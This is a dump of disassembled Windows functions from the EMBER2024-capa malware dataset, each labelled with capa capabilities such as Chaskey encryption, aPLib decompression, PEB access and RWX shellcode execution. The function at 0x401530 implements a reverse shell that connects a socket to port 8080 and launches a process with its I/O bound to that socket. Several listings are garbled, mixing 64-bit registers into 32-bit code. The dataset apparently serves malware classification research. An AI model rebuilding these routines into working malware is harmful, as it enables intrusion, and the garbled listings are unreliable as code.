joyce8/EMBER2024-capa huggingface dataset:
Function at 0x457583
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov rdi, r8
mov rsi, rdx
mov rbp, rcx
xor r10d, r10d
mov r9, qword [rax + 0x60]
mov rax, qword [r9 + 0x18]
mov rbx, qword [rax + 0x10]
jmp 0x4575d6
test r10, r10
jne 0x4575df
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call fcn.00455993
mov rbx, qword [rbx]
mov r10, rax
mov rax, qword [rbx + 0x30]
test rax, rax
jne 0x4575ba
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x4576cb
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x10
movups xmm0, xmmword [rcx]
mov qword [rax + 0x10], rdx
mov ecx, edx
mov r8d, dword [rax + 0x14]
xor r10d, r10d
movups xmmword [rsp], xmm0
mov edx, dword [rax - 0xc]
mov r11d, dword [rax - 0x10]
mov ebx, dword [rax - 0x14]
mov r9d, dword [rsp]
mov eax, edx
ror ecx, 8
add ecx, r8d
mov edx, ebx
xor ecx, r9d
ror edx, 8
add edx, r9d
rol r8d, 3
xor edx, r10d
rol r9d, 3
xor r9d, edx
xor r8d, ecx
inc r10d
mov ebx, r11d
mov r11d, eax
cmp r10d, 0x1b
jb 0x4576f5
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x2c], r8d
mov rax, qword [rsp + 0x28]
add rsp, 0x10
pop rbx
ret

Function at 0x45773f
Capabilities:
Encode data using xor
Encrypt data using chaskey

Disassembly:
test r9d, r9d
je 0x457858
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r14
push rbp
mov rbp, rsp
sub rsp, 0x10
mov r10, rcx
lea rax, [rbp - 0x10]
sub r10, rax
mov r11, r8
mov rdi, rdx
mov r14d, 0x10
movups xmm0, xmmword [rdi]
lea rcx, [rbp - 0x10]
mov edx, 4
movdqu xmmword [rbp - 0x10], xmm0
mov eax, dword [r10 + rcx]
xor dword [rcx], eax
lea rcx, [rcx + 4]
sub rdx, 1
jne 0x457786
mov edx, dword [rbp - 4]
mov rbx, r14
mov eax, dword [rbp - 8]
mov r8d, dword [rbp - 0xc]
mov ecx, dword [rbp - 0x10]
add ecx, r8d
add eax, edx
rol r8d, 5
xor r8d, ecx
rol edx, 8
xor edx, eax
rol ecx, 0x10
add eax, r8d
add ecx, edx
rol r8d, 7
rol edx, 0xd
xor r8d, eax
xor edx, ecx
rol eax, 0x10
sub rbx, 1
jne 0x4577a6
mov dword [rbp - 4], edx
lea edx, [rbx + 4]
mov dword [rbp - 0x10], ecx
lea rcx, [rbp - 0x10]
mov dword [rbp - 0xc], r8d
mov dword [rbp - 8], eax
mov eax, dword [rcx + r10]
xor dword [rcx], eax
lea rcx, [rcx + 4]
sub rdx, 1
jne 0x4577e8
cmp r9d, r14d
mov ecx, r9d
cmova ecx, r14d
test ecx, ecx
je 0x457821
lea r8, [rbp - 0x10]
mov ebx, ecx
sub r8, r11
mov rdx, r11
mov al, byte [r8 + rdx]
xor byte [rdx], al
inc rdx
sub rbx, 1
jne 0x457812
sub r9d, ecx
mov eax, ecx
add r11, rax
mov edx, r14d
lea eax, [rdx - 1]
add byte [rax + rdi], 1
jne 0x45783b
dec edx
test edx, edx
jg 0x45782c
test r9d, r9d
jne 0x457775
mov rbx, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
add rsp, 0x10
pop rbp
ret
Function at 0x45785b
Capabilities:
Decompress data using aplib

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
mov al, byte [rcx]
or r14d, 0xffffffff
and dword [rbp - 0xc], 0
xor r9d, r9d
mov byte [rdx], al
xor edi, edi
lea rax, [rdx + 1]
mov rbx, rdx
mov qword [rbp - 0x18], rax
mov r11d, r14d
lea rax, [rcx + 1]
mov qword [rbp - 0x20], rax
lea esi, [rdi + 1]
lea rcx, [rbp - 0x20]
call fcn.00457a9f
test eax, eax
je 0x457a5b
lea rcx, [rbp - 0x20]
call fcn.00457a9f
test eax, eax
je 0x457961
lea rcx, [rbp - 0x20]
call fcn.00457a9f
test eax, eax
je 0x45791d
xor r9d, r9d
lea r10d, [r9 + 4]
lea rcx, [rbp - 0x20]
call fcn.00457a9f
lea r9d, [rax + r9*2]
sub r10d, esi
jne 0x4578d6
test r9d, r9d
je 0x45790a
mov rdx, qword [rbp - 0x18]
mov rax, rdx
mov ecx, r9d
sub rax, rcx
mov al, byte [rax]
mov byte [rdx], al
add rdx, rsi
mov qword [rbp - 0x18], rdx
jmp 0x457a75
mov rax, qword [rbp - 0x18]
mov byte [rax], 0
add rax, rsi
mov qword [rbp - 0x18], rax
jmp 0x457a75
mov rax, qword [rbp - 0x20]
movzx r11d, byte [rax]
add rax, rsi
mov ecx, r11d
mov qword [rbp - 0x20], rax
and ecx, esi
add ecx, 2
shr r11d, 1
je 0x45795a
mov rdx, qword [rbp - 0x18]
mov r8d, r11d
neg r8
mov al, byte [r8 + rdx]
mov byte [rdx], al
add rdx, rsi
add ecx, r14d
jne 0x457943
mov qword [rbp - 0x18], rdx
jmp 0x457a56
mov edi, esi
jmp 0x457a56
mov r10d, esi
lea rcx, [rbp - 0x20]
call fcn.00457a9f
lea rcx, [rbp - 0x20]
lea r10d, [rax + r10*2]
call fcn.00457a9f
test eax, eax
jne 0x457964
test r9d, r9d
jne 0x4579cb
cmp r10d, 2
jne 0x4579cb
mov r9d, esi
lea rcx, [rbp - 0x20]
call fcn.00457a9f
lea rcx, [rbp - 0x20]
lea r9d, [rax + r9*2]
call fcn.00457a9f
test eax, eax
jne 0x45798c
test r9d, r9d
je 0x457a56
mov rcx, qword [rbp - 0x18]
mov edx, r11d
neg rdx
mov al, byte [rdx + rcx]
mov byte [rcx], al
add rcx, rsi
add r9d, r14d
jne 0x4579b9
jmp 0x457a52
mov rcx, qword [rbp - 0x20]
xor r9d, esi
sub r10d, r9d
mov r9d, esi
shl r10d, 8
movzx r11d, byte [rcx]
add r11d, 0xfffffe00
add r11d, r10d
add rcx, rsi
mov qword [rbp - 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.00457a9f
lea rcx, [rbp - 0x20]
lea r9d, [rax + r9*2]
call fcn.00457a9f
test eax, eax
jne 0x4579f1
cmp r11d, 0x7d00
lea eax, [r9 + 1]
cmovb eax, r9d
cmp r11d, 0x500
lea ecx, [rax + 1]
cmovb ecx, eax
cmp r11d, 0x80
lea r8d, [rcx + 2]
cmovae r8d, ecx
test r8d, r8d
je 0x457a56
mov rcx, qword [rbp - 0x18]
mov edx, r11d
neg rdx
mov al, byte [rdx + rcx]
mov byte [rcx], al
add rcx, rsi
add r8d, r14d
jne 0x457a45
mov qword [rbp - 0x18], rcx
mov r9d, esi
jmp 0x457a78
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov al, byte [rdx]
mov byte [rcx], al
add rcx, rsi
add rdx, rsi
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x20], rdx
xor r9d, r9d
test edi, edi
je 0x4578a0
mov eax, dword [rbp - 0x18]
mov rsi, qword [rsp + 0x58]
sub eax, ebx
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
add rsp, 0x40
pop rbp
ret
Function at 0x458159
Capabilities:
Check http status code

Disassembly:
sub esp, 0x258
push rbx
push rsi
push rdi
push 0x3c
pop rsi
xor edi, edi
lea eax, [rsp + 0x28]
push rsi
push rdi
push rax
mov dword [rsp + 0x1c], edi
mov ebx, 0x84600200
call fcn.0045a0b4
lea eax, [rsp + 0x70]
mov dword [rsp + 0x34], esi
mov esi, dword [rsp + 0x274]
add esp, 0xc
mov dword [rsp + 0x38], eax
lea eax, [rsp + 0x164]
mov dword [rsp + 0x54], eax
mov eax, 0x100
mov dword [rsp + 0x3c], eax
mov dword [rsp + 0x58], eax
lea eax, [rsp + 0x28]
push rax
push 0x10000000
push rdi
lea eax, [rsi + 0x6e8]
push rax
call qword [rsi + 0x90]
test eax, eax
je 0x458376
xor eax, eax
cmp dword [rsp + 0x34], 4
push rdi
push rdi
sete al
push rdi
mov dword [rsp + 0x20], eax
mov eax, 0x84e03200
push rdi
push rdi
cmove ebx, eax
call qword [rsi + 0x94]
mov dword [rsp + 0x24], eax
test eax, eax
je 0x458376
push rdi
push rdi
push 3
push rdi
push rdi
push qword [rsp + 0x54]
lea ecx, [rsp + 0x7c]
push rcx
push rax
call qword [rsi + 0x98]
mov ecx, eax
mov dword [rsp + 0x20], ecx
test ecx, ecx
je 0x458316
push rbp
push rdi
push rbx
push rdi
push rdi
push rdi
lea eax, [rsp + 0x17c]
push rax
lea eax, [rsi + 0x7e8]
push rax
push rcx
call qword [rsi + 0xa8]
mov ebp, eax
test ebp, ebp
je 0x45830b
cmp dword [rsp + 0x18], edi
je 0x458267
test ebx, 0x1000
je 0x458267
push 4
lea eax, [rsp + 0x20]
mov dword [rsp + 0x20], 0x3380
push rax
push 0x1f
push rbp
call qword [rsi + 0x9c]
push rdi
push rdi
push rdi
push rdi
push rbp
call qword [rsi + 0xac]
test eax, eax
je 0x458304
push rdi
lea eax, [rsp + 0x14]
mov dword [rsp + 0x14], 4
push rax
lea eax, [rsp + 0x1c]
push rax
push 0x20000013
push rbp
call qword [rsi + 0xb0]
test eax, eax
je 0x458304
cmp dword [rsp + 0x14], 0xc8
jne 0x458304
push rdi
lea eax, [rsp + 0x14]
mov dword [rsp + 0x14], 4
push rax
lea ebx, [rsi + 0x918]
push rbx
push 0x20000005
push rbp
mov dword [rbx], edi
mov dword [rbx + 4], edi
call qword [rsi + 0xb0]
test eax, eax
je 0x458304
mov eax, dword [rbx]
or eax, dword [rbx + 4]
je 0x458304
push 4
push 0x3000
push qword [rbx]
push rdi
call qword [rsi + 0x3c]
mov dword [rsi + 0x920], eax
test eax, eax
je 0x458304
lea ecx, [rsp + 0x20]
mov dword [rsp + 0x20], edi
push rcx
push qword [rbx]
push rax
push rbp
call qword [rsi + 0xa0]
mov edi, eax
push rbp
call qword [rsi + 0xa4]
push qword [rsp + 0x24]
call qword [rsi + 0xa4]
pop rbp
push qword [rsp + 0x24]
call qword [rsi + 0xa4]
test edi, edi
je 0x458372
cmp dword [rsi + 0x234], 3
jne 0x458372
push qword [rsi + 0x918]
mov ebx, dword [rsi + 0x920]
lea eax, [rsi + 0x908]
push rbx
push rax
lea eax, [rsi + 0x8f8]
push rax
call fcn.00459d95
push qword [rsi + 0x2c]
lea eax, [rsi + 0x7f0]
push qword [rsi + 0x28]
push rax
call fcn.00459c70
add esp, 0x1c
cmp eax, dword [rbx + 0x518]
jne 0x458376
cmp edx, dword [rbx + 0x51c]
jne 0x458376
mov eax, edi
jmp 0x458378
xor eax, eax
pop rdi
pop rsi
pop rbx
add esp, 0x258
ret
Function at 0x459d32
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
mov eax, dword [rsp + 0x18]
mov edx, dword [rsp + 0x1c]
push rbx
push rbp
push rsi
mov esi, dword [rsp + 0x20]
xor ebx, ebx
push rdi
lea edi, [rsp + 0x10]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
mov ecx, dword [rsp + 0x14]
mov esi, dword [rsp + 0x1c]
mov ebp, dword [rsp + 0x18]
mov edi, dword [rsp + 0x10]
mov dword [rsp + 0x28], ecx
mov ecx, esi
ror eax, 8
mov esi, dword [rsp + 0x28]
add eax, edx
ror esi, 8
xor eax, edi
add esi, edi
rol edx, 3
xor esi, ebx
rol edi, 3
xor edx, eax
mov dword [rsp + 0x28], ebp
xor edi, esi
mov ebp, ecx
cmp r11d, 0x1b
jb 0x459d63
pop rdi
pop rsi
pop rbp
pop rbx
add esp, 0x10
ret

Function at 0x459d95
Capabilities:
Encode data using xor
Encrypt data using chaskey

Disassembly:
mov edx, dword [rsp + 0x10]
sub esp, 0x14
push rbx
mov ebx, dword [rsp + 0x24]
test edx, edx
je 0x459e91
mov eax, dword [rsp + 0x20]
push rbp
xor ebp, ebp
push r14
lea ecx, [rax + 0xf]
sub ebp, eax
push rdi
mov dword [rsp + 0x10], ecx
mov dword [rsp + 0x34], ebp
mov esi, eax
lea edi, [rsp + 0x14]
xor ecx, ecx
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
mov esi, dword [rsp + 0x28]
mov eax, dword [rsi + rcx*4]
xor dword [rsp + rcx*4 + 0x14], eax
cmp r9d, 4
jb 0x459dd0
mov esi, dword [rsp + 0x20]
mov eax, dword [rsp + 0x1c]
mov edi, dword [rsp + 0x18]
mov ecx, dword [rsp + 0x14]
mov dword [rsp + 0x30], 0x10
add ecx, edi
add eax, esi
rol edi, 5
xor edi, ecx
rol esi, 8
xor esi, eax
rol ecx, 0x10
add eax, edi
add ecx, esi
rol edi, 7
rol esi, 0xd
xor edi, eax
xor esi, ecx
rol eax, 0x10
sub dword [rsp + 0x30], 1
jne 0x459df5
mov ebp, dword [rsp + 0x28]
mov dword [rsp + 0x14], ecx
xor ecx, ecx
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x18], edi
mov dword [rsp + 0x1c], eax
mov eax, dword [rbp + rcx*4]
xor dword [rsp + rcx*4 + 0x14], eax
cmp r9d, 4
jb 0x459e34
mov ebp, dword [rsp + 0x34]
mov ecx, edx
push 0x10
pop rax
cmp edx, eax
cmova ecx, eax
test ecx, ecx
je 0x459e6d
lea edi, [rsp + 0x14]
mov esi, ebx
sub edi, ebx
mov ebp, ecx
mov al, byte [rdi + rsi]
xor byte [rsi], al
sub ebp, 1
jne 0x459e5e
mov ebp, dword [rsp + 0x34]
sub edx, ecx
add ebx, ecx
mov ecx, dword [rsp + 0x10]
add byte [rcx], 1
jne 0x459e82
lea rax, [r9 + rbp]
test eax, eax
jg 0x459e75
mov eax, dword [rsp + 0x2c]
test edx, edx
jne 0x459dc0
pop rdi
pop rsi
pop rbp
pop rbx
add esp, 0x14
ret
Function at 0x459e96
Capabilities:
Decompress data using aplib

Disassembly:
sub esp, 0x14
mov ecx, dword [rsp + 0x18]
and dword [rsp + 0x10], 0
push rbx
push rbp
mov ebp, dword [rsp + 0x24]
mov al, byte [rcx]
push rsi
push rdi
mov byte [rbp], al
or edi, 0xffffffff
lea eax, [rbp + 1]
xor esi, esi
mov dword [rsp + 0x18], eax
xor ebx, ebx
lea eax, [rcx + 1]
mov dword [rsp + 0x10], ebx
mov dword [rsp + 0x14], eax
lea eax, [rsp + 0x14]
push rax
call fcn.0045a039
pop rcx
test eax, eax
je 0x45a00d
lea eax, [rsp + 0x14]
push rax
call fcn.0045a039
test eax, eax
lea eax, [rsp + 0x18]
pop rcx
push rax
je 0x459f6c
call fcn.0045a039
pop rcx
test eax, eax
je 0x459f30
push 4
xor esi, esi
pop rbx
lea eax, [rsp + 0x14]
push rax
call fcn.0045a039
pop rcx
lea esi, [rax + rsi*2]
sub ebx, 1
jne 0x459efe
mov edx, dword [rsp + 0x18]
test esi, esi
je 0x459f23
mov eax, edx
sub eax, esi
mov al, byte [rax]
mov byte [rdx], al
jmp 0x459f26
mov byte [rdx], 0
mov ebx, dword [rsp + 0x10]
jmp 0x45a01f
mov eax, dword [rsp + 0x14]
mov edx, dword [rsp + 0x18]
movzx edi, byte [rax]
mov ecx, edi
mov dword [rsp + 0x14], eax
and ecx, 1
add ecx, 2
shr edi, 1
je 0x459f60
mov esi, edx
sub esi, edi
mov al, byte [rsi]
mov byte [rdx], al
sub ecx, 1
jne 0x459f50
jmp 0x45a004
xor ebx, ebx
mov dword [r12 + r12 + 0x10], ebx
jmp 0x45a008
call fcn.0045a06d
mov edx, eax
pop rcx
test esi, esi
jne 0x459fa3
cmp edx, 2
jne 0x459fa3
lea eax, [rsp + 0x14]
push rax
call fcn.0045a06d
mov edx, dword [rsp + 0x1c]
mov esi, eax
pop rcx
test esi, esi
je 0x45a008
mov ecx, edx
sub ecx, edi
mov al, byte [rcx]
mov byte [rdx], al
sub r14d, 1
jne 0x459f96
jmp 0x45a004
mov ecx, dword [rsp + 0x14]
lea eax, [rsp + 0x14]
xor esi, 1
sub edx, esi
shl edx, 8
movzx edi, byte [rcx]
add edi, 0xfffffe00
add edi, edx
push r8
mov dword [rsp + 0x18], ecx
call fcn.0045a06d
pop rcx
mov ecx, eax
cmp edi, 0x7d00
jb 0x459fd5
mov edx, dword [r12 + 0x18]
mov edx, dword [rsp + 0x18]
lea eax, [rcx + 1]
cmp edi, 0x500
cmovb eax, ecx
cmp edi, 0x80
lea esi, [rax + 2]
cmovae esi, eax
test esi, esi
je 0x45a008
mov ecx, edx
sub ecx, edi
mov al, byte [rcx]
mov byte [rdx], al
sub r14d, 1
jne 0x459ff9
mov dword [rsp + 0x18], edx
xor esi, esi
jmp 0x45a025
mov ecx, dword [rsp + 0x14]
mov edx, dword [rsp + 0x18]
mov al, byte [rcx]
mov byte [rdx], al
mov dword [r12 + 0x14], ecx
xor esi, esi
mov dword [rsp + 0x18], edx
test ebx, ebx
je 0x459ec8
pop rdi
pop rsi
sub edx, ebp
pop rbp
mov eax, edx
pop rbx
add esp, 0x14
ret
Function at 0x140011253
Capabilities:
Terminate process

Disassembly:
jmp 0x1400140d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112f8
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015420
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015440
xor al, al
jmp 0x1400154c1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015453
xor al, al
jmp 0x1400154c1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001547d
xor al, al
jmp 0x1400154c1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015491
xor al, al
jmp 0x1400154c1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400154a3
xor al, al
jmp 0x1400154c1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400154bf
xor al, al
jmp 0x1400154c1
mov al, 1
add rsp, 0x38
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004054c0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004054d0]
mov dword [rax], 1
mov rax, qword [0x004054e0]
mov dword [rax], 1
mov rax, qword [0x004054b0]
mov dword [rax], 1
mov rax, qword [0x00405340]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x004054a0]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x004053d0]
mov qword [rdx], rax
mov rdx, qword [0x004053c0]
mov qword [rdx], rax
mov rax, qword [0x00405430]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x004052e0]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401530
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
call fcn.004030f5
push rbp
sub rsp, 0x290
lea rbp, [rsp + 0x80]
call dbg._monstartup
call dbg.__main
lea rax, [rbp + 0x1e0]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x40]
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x208], rax
mov word [rbp + 0x1e0], 2
mov ecx, 0x1f90
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1e2], ax
lea rcx, str.127.0.0.1
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x1e4], eax
mov ecx, 0x10
lea rdx, [rbp + 0x1e0]
mov rax, qword [rbp + 0x208]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov eax, 0x68
mov dword [rbp - 0x30], eax
mov dword [rbp + 0xc], 0x101
mov word [rbp + 0x10], 0
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, [0x0040500a]
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x290
pop rbp
ret
Function at 0x401910
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00408064]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x401a2a
mov rax, qword [0x00408068]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x40195e
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x401a10
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x401942
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401a62
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00408068]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00408068]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401a45
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401a09
sub eax, 0x40
and eax, 0xffffffbf
je 0x401a09
mov r9, rbp
add r9, qword [0x00408068]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401a31
add dword [0x00408064], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebp, ebp
jmp 0x40196b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
mov rax, qword [0x00408068]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]

Function at 0x402640
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402650
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402660
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4026a1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402698
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x4026a3
add rax, 0x28
cmp rax, r9
jne 0x402684
xor eax, eax
repz ret

Function at 0x402750
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x00405340]
cmp word [rbx], 0x5a4d
je 0x402770
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402764
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection
Function at 0x4029c0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004089c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004089a0]
test rbx, rbx
je 0x402a14
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402a0b
test rsi, rsi
je 0x402a0b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4029f0
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004089c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x403130
Capabilities:
Resume thread
Suspend thread

Disassembly:
push rsi
push rbx
sub rsp, 0x4f8
mov rbx, 0xffffffffffffffff
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x403178
mov rcx, rsi
mov dword [rsp + 0x50], 0x100003
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, rsi
test eax, eax
cmovne rbx, qword [rsp + 0x118]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rax, rbx
add rsp, 0x4f8
pop rbx
pop rsi
ret